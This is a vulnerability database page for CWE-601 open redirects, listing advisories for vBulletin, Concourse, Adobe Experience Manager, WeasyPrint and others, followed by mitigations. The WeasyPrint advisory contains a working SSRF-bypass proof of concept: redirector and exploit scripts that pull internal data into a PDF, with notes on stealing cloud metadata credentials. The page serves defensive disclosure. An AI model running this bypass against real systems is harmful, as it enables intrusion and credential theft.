Common Weakness Enumeration

CWE-601

Allowed

URL Redirection to Untrusted Site ('Open Redirect')

Abstraction: Base · Status: Draft

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

2310 vulnerabilities reference this CWE, most recent first.

GHSA-966F-G46G-CRJP

Vulnerability from github – Published: 2022-05-14 01:54 – Updated: 2022-05-14 01:54
VLAI
Details

vBulletin 5.4.3 has an Open Redirect.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-15493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-17T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "vBulletin 5.4.3 has an Open Redirect.",
  "id": "GHSA-966f-g46g-crjp",
  "modified": "2022-05-14T01:54:34Z",
  "published": "2022-05-14T01:54:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15493"
    },
    {
      "type": "WEB",
      "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-017.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9689-RX4V-CQGC

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-10-02 11:43
VLAI
Summary
Pivotal Concourse Open Redirect in Login Flow
Details

Pivotal Concourse Release, versions 4.x prior to 4.2.2, login flow allows redirects to untrusted websites. A remote unauthenticated attacker could convince a user to click on a link using the oAuth redirect link with an untrusted website and gain access to that user's access token in Concourse.

Specific Go Packages Affected

github.com/concourse/concourse/skymarshal/skyserver

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/concourse/concourse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/concourse/concourse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.0"
            },
            {
              "fixed": "5.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/concourse/concourse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.6.0"
            },
            {
              "fixed": "5.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-15798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-12T18:15:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Pivotal Concourse Release, versions 4.x prior to 4.2.2, login flow allows redirects to untrusted websites. A remote unauthenticated attacker could convince a user to click on a link using the oAuth redirect link with an untrusted website and gain access to that user\u0027s access token in Concourse.\n\n### Specific Go Packages Affected\ngithub.com/concourse/concourse/skymarshal/skyserver",
  "id": "GHSA-9689-rx4v-cqgc",
  "modified": "2023-10-02T11:43:16Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/concourse/concourse/pull/5350/commits/38cb4cc025e5ed28764b4adc363a0bbf41f3c7cb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/concourse/concourse/blob/release/5.2.x/release-notes/v5.2.8.md"
    },
    {
      "type": "WEB",
      "url": "https://pivotal.io/security/cve-2018-15798"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pivotal Concourse Open Redirect in Login Flow"
}

GHSA-968M-VGHV-7QCV

Vulnerability from github – Published: 2023-03-22 18:30 – Updated: 2023-03-22 18:30
VLAI
Details

Experience Manager versions 6.5.15.0 (and earlier) are affected by a URL Redirection to Untrusted Site ('Open Redirect') vulnerability. A low-privilege authenticated attacker could leverage this vulnerability to redirect users to malicious websites. Exploitation of this issue requires user interaction.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-22256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-22T17:15:00Z",
    "severity": "LOW"
  },
  "details": "Experience Manager versions 6.5.15.0 (and earlier) are affected by a URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability. A low-privilege authenticated attacker could leverage this vulnerability to redirect users to malicious websites. Exploitation of this issue requires user interaction.",
  "id": "GHSA-968m-vghv-7qcv",
  "modified": "2023-03-22T18:30:38Z",
  "published": "2023-03-22T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22256"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/experience-manager/apsb23-18.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-96W2-HG6W-6XV2

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

An open redirect vulnerability in automatic1111/stable-diffusion-webui version 1.10.0 allows a remote unauthenticated attacker to redirect users to arbitrary websites via a specially crafted URL. This vulnerability can be exploited to conduct phishing attacks, distribute malware, and steal user credentials.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-11044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:23Z",
    "severity": "MODERATE"
  },
  "details": "An open redirect vulnerability in automatic1111/stable-diffusion-webui version 1.10.0 allows a remote unauthenticated attacker to redirect users to arbitrary websites via a specially crafted URL. This vulnerability can be exploited to conduct phishing attacks, distribute malware, and steal user credentials.",
  "id": "GHSA-96w2-hg6w-6xv2",
  "modified": "2025-03-20T12:32:41Z",
  "published": "2025-03-20T12:32:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11044"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/ee942e5e-4987-4f81-ba83-014fec6b33b3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-97GG-J6V9-FVP7

Vulnerability from github – Published: 2022-05-14 03:11 – Updated: 2022-05-14 03:11
VLAI
Details

Redirection from an HTTP connection to a "data:" URL assigns the referring site's origin to the "data:" URL in some circumstances. This can result in same-origin violations against a domain if it loads resources from malicious sites. Cross-origin setting of cookies has been demonstrated without the ability to read them. Note: This issue only affects Firefox 49 and 50. This vulnerability affects Firefox < 50.0.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-9078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-11T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "Redirection from an HTTP connection to a \"data:\" URL assigns the referring site\u0027s origin to the \"data:\" URL in some circumstances. This can result in same-origin violations against a domain if it loads resources from malicious sites. Cross-origin setting of cookies has been demonstrated without the ability to read them. Note: This issue only affects Firefox 49 and 50. This vulnerability affects Firefox \u003c 50.0.1.",
  "id": "GHSA-97gg-j6v9-fvp7",
  "modified": "2022-05-14T03:11:18Z",
  "published": "2022-05-14T03:11:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9078"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1317641"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2016-91"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/94569"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1037353"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-97VP-H7V5-7HCW

Vulnerability from github – Published: 2022-05-13 01:07 – Updated: 2022-05-13 01:07
VLAI
Details

With Cloud Foundry Runtime cf-release versions v209 or earlier, UAA Standalone versions 2.2.6 or earlier and Pivotal Cloud Foundry Runtime 1.4.5 or earlier the UAA logout link is susceptible to an open redirect which allows an attacker to insert malicious web page as a redirect parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-3190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-25T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "With Cloud Foundry Runtime cf-release versions v209 or earlier, UAA Standalone versions 2.2.6 or earlier and Pivotal Cloud Foundry Runtime 1.4.5 or earlier the UAA logout link is susceptible to an open redirect which allows an attacker to insert malicious web page as a redirect parameter.",
  "id": "GHSA-97vp-h7v5-7hcw",
  "modified": "2022-05-13T01:07:01Z",
  "published": "2022-05-13T01:07:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3190"
    },
    {
      "type": "WEB",
      "url": "https://pivotal.io/security/cve-2015-3190"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-97WW-5P4J-7PG9

Vulnerability from github – Published: 2022-05-24 17:02 – Updated: 2022-07-29 00:00
VLAI
Details

The CGIHandler class in Python before 2.7.12 does not protect against the HTTP_PROXY variable name clash in a CGI script, which could allow a remote attacker to redirect HTTP requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-1000110"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-11-27T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The CGIHandler class in Python before 2.7.12 does not protect against the HTTP_PROXY variable name clash in a CGI script, which could allow a remote attacker to redirect HTTP requests.",
  "id": "GHSA-97ww-5p4j-7pg9",
  "modified": "2022-07-29T00:00:49Z",
  "published": "2022-05-24T17:02:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-1000110"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-1000110"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2016-1000110"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7K3WFJO3SJQCODKRKU6EQV3ZGHH53YPU"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2016-1000110"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00040.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-983W-RHVV-GWMV

Vulnerability from github – Published: 2026-01-20 16:29 – Updated: 2026-07-02 20:22
VLAI
Summary
WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
Details

Summary

A Server-Side Request Forgery (SSRF) Protection Bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.

Details

The default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.

While WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.

This behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).

PoC

To reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., localhost).

1. victim.py (Internal Service - Port 5000) Simulates a sensitive internal service running on localhost.

from flask import Flask
app = Flask(__name__)

@app.route('/secret')
def secret():
    return "CRITICAL_INTERNAL_DATA"

if __name__ == '__main__':
    # Listens on localhost:5000
    app.run(port=5000)

2. attacker.py (External Redirector - Port 1337) Simulates an external server. It accepts a request and redirects it to the blocked hostname (localhost).

from flask import Flask, redirect
app = Flask(__name__)

@app.route('/image.png')
def malicious():
    # The vulnerability: Redirects to the BLOCKED hostname
    return redirect("http://localhost:5000/secret", code=302)

if __name__ == '__main__':
    app.run(port=1337)

3. exploit.py (Vulnerable Implementation) Simulates the application with a security filter intended to block access to "localhost".

from weasyprint import HTML, default_url_fetcher
import logging

# Security Filter: Intended to block internal hostnames
def secure_fetcher(url):
    # Simulates a blacklist for 'localhost'
    if "localhost" in url:
        raise PermissionError(f"Security Block: Access to {url} denied.")

    print(f"[ALLOWED] Initial URL check passed for: {url}")
    return default_url_fetcher(url)

# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP). 
#    The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.

try:
    # Use 127.0.0.1 to bypass the string check for 'localhost'
    html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'

    doc = HTML(string=html_content, url_fetcher=secure_fetcher)
    doc.write_pdf("exploit.pdf")

    print("Exploit successful. The 'localhost' block was bypassed via redirect.")
    print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
    print(f"Exploit failed: {e}")

4. Attacker read attachment in PDF

➜ pdfdetach -list resultado_exploit.pdf
1 embedded files
1: secret
➜ pdfdetach -saveall resultado_exploit.pdf
➜ cat secret
CRITICAL_INTERNAL_DATA

Evidence image

Impact

This vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.

  • Internal Network Reconnaissance: Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.
  • Cloud Metadata Exfiltration: In cloud environments, attackers can redirect requests to metadata services (e.g., http://169.254.169.254) to steal instance credentials and escalate privileges.
  • Security Control Bypass: It renders the url_fetcher security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "weasyprint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "68.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T16:29:53Z",
    "nvd_published_at": "2026-01-19T16:15:53Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA **Server-Side Request Forgery (SSRF) Protection Bypass** exists in WeasyPrint\u0027s `default_url_fetcher`. The vulnerability allows attackers to access internal network resources (such as `localhost` services or cloud metadata endpoints) even when a developer has implemented a custom `url_fetcher` to block such access. This occurs because the underlying `urllib` library follows HTTP redirects automatically without re-validating the new destination against the developer\u0027s security policy.\n\n### Details\n\nThe default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.\n\nWhile WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python\u0027s standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer\u0027s validation logic for the new target URL.\n\nThis behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer\u0027s allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).\n\n### PoC\n\nTo reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., `localhost`).\n\n**1. victim.py (Internal Service - Port 5000)**\nSimulates a sensitive internal service running on localhost.\n\n```python\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route(\u0027/secret\u0027)\ndef secret():\n    return \"CRITICAL_INTERNAL_DATA\"\n\nif __name__ == \u0027__main__\u0027:\n    # Listens on localhost:5000\n    app.run(port=5000)\n```\n\n**2. attacker.py (External Redirector - Port 1337)**\nSimulates an external server. It accepts a request and redirects it to the blocked hostname (`localhost`).\n\n```python\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/image.png\u0027)\ndef malicious():\n    # The vulnerability: Redirects to the BLOCKED hostname\n    return redirect(\"http://localhost:5000/secret\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(port=1337)\n```\n\n**3. exploit.py (Vulnerable Implementation)**\nSimulates the application with a security filter intended to block access to \"localhost\".\n\n```python\nfrom weasyprint import HTML, default_url_fetcher\nimport logging\n\n# Security Filter: Intended to block internal hostnames\ndef secure_fetcher(url):\n    # Simulates a blacklist for \u0027localhost\u0027\n    if \"localhost\" in url:\n        raise PermissionError(f\"Security Block: Access to {url} denied.\")\n    \n    print(f\"[ALLOWED] Initial URL check passed for: {url}\")\n    return default_url_fetcher(url)\n\n# EXPLOIT LOGIC:\n# 1. We access the attacker via \u0027127.0.0.1\u0027 (or an external IP). \n#    The string \"127.0.0.1\" passes the check because it is not \"localhost\".\n# 2. The attacker redirects to \"http://localhost:5000/...\".\n# 3. urllib follows the redirect to \u0027localhost\u0027 without re-triggering secure_fetcher.\n\ntry:\n    # Use 127.0.0.1 to bypass the string check for \u0027localhost\u0027\n    html_content = \u0027\u003clink rel=\"attachment\" href=\"http://54.234.88.160:1337/image.png\"\u003e\u0027\n    \n    doc = HTML(string=html_content, url_fetcher=secure_fetcher)\n    doc.write_pdf(\"exploit.pdf\")\n    \n    print(\"Exploit successful. The \u0027localhost\u0027 block was bypassed via redirect.\")\n    print(\"Check exploit.pdf for \u0027CRITICAL_INTERNAL_DATA\u0027.\")\nexcept Exception as e:\n    print(f\"Exploit failed: {e}\")\n```\n**4. Attacker read attachment in PDF**\n```\n\u279c pdfdetach -list resultado_exploit.pdf\n1 embedded files\n1: secret\n\u279c pdfdetach -saveall resultado_exploit.pdf\n\u279c cat secret\nCRITICAL_INTERNAL_DATA\n```\n**Evidence**\n\u003cimg width=\"1514\" height=\"436\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9\" /\u003e\n\n### Impact\n\nThis vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.\n\n  * **Internal Network Reconnaissance:** Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.\n  * **Cloud Metadata Exfiltration:** In cloud environments, attackers can redirect requests to metadata services (e.g., `http://169.254.169.254`) to steal instance credentials and escalate privileges.\n  * **Security Control Bypass:** It renders the `url_fetcher` security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.",
  "id": "GHSA-983w-rhvv-gwmv",
  "modified": "2026-07-02T20:22:23Z",
  "published": "2026-01-20T16:29:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/commit/b6a14f0f3f4ce9c0c75c1a2d73cb1c5d43f0e565"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-68616"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430858"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kozea/WeasyPrint"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-68616.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect"
}

GHSA-9853-P5PW-C3VC

Vulnerability from github – Published: 2025-05-18 00:30 – Updated: 2025-05-18 00:30
VLAI
Details

A vulnerability, which was classified as problematic, was found in kanwangzjm Funiture up to 71ca0fb0658b3d839d9e049ac36429207f05329b. Affected is the function doPost of the file /funiture-master/src/main/java/com/app/mvc/acl/servlet/LoginServlet.java of the component Login. The manipulation of the argument ret leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-4838"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-17T22:15:19Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, was found in kanwangzjm Funiture up to 71ca0fb0658b3d839d9e049ac36429207f05329b. Affected is the function doPost of the file /funiture-master/src/main/java/com/app/mvc/acl/servlet/LoginServlet.java of the component Login. The manipulation of the argument ret leads to open redirect. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available.",
  "id": "GHSA-9853-p5pw-c3vc",
  "modified": "2025-05-18T00:30:26Z",
  "published": "2025-05-18T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4838"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ShenxiuSec/cve-proofs/blob/main/POC-20250510-01.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.309306"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.309306"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.574825"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9884-HHWQ-42C3

Vulnerability from github – Published: 2022-12-13 06:30 – Updated: 2022-12-15 18:30
VLAI
Details

In SAP Solution Manager (Enterprise Search) - versions 740, and 750, an unauthenticated attacker can generate a link that, if clicked by a logged-in user, can be redirected to a malicious page that could read or modify sensitive information, or expose the user to a phishing attack, with little impact on confidentiality and integrity.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-41275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-13T04:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In SAP Solution Manager (Enterprise Search) - versions 740, and 750, an unauthenticated attacker can generate a link that, if clicked by a logged-in user, can be redirected to a malicious page that could read or modify sensitive information, or expose the user to a phishing attack, with little impact on confidentiality and integrity.",
  "id": "GHSA-9884-hhwq-42c3",
  "modified": "2022-12-15T18:30:25Z",
  "published": "2022-12-13T06:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41275"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3271313"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Use a list of approved URLs or domains to be used for redirection.
Mitigation
Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Mitigation MIT-21.2
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-178: Cross-Site Flashing

An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.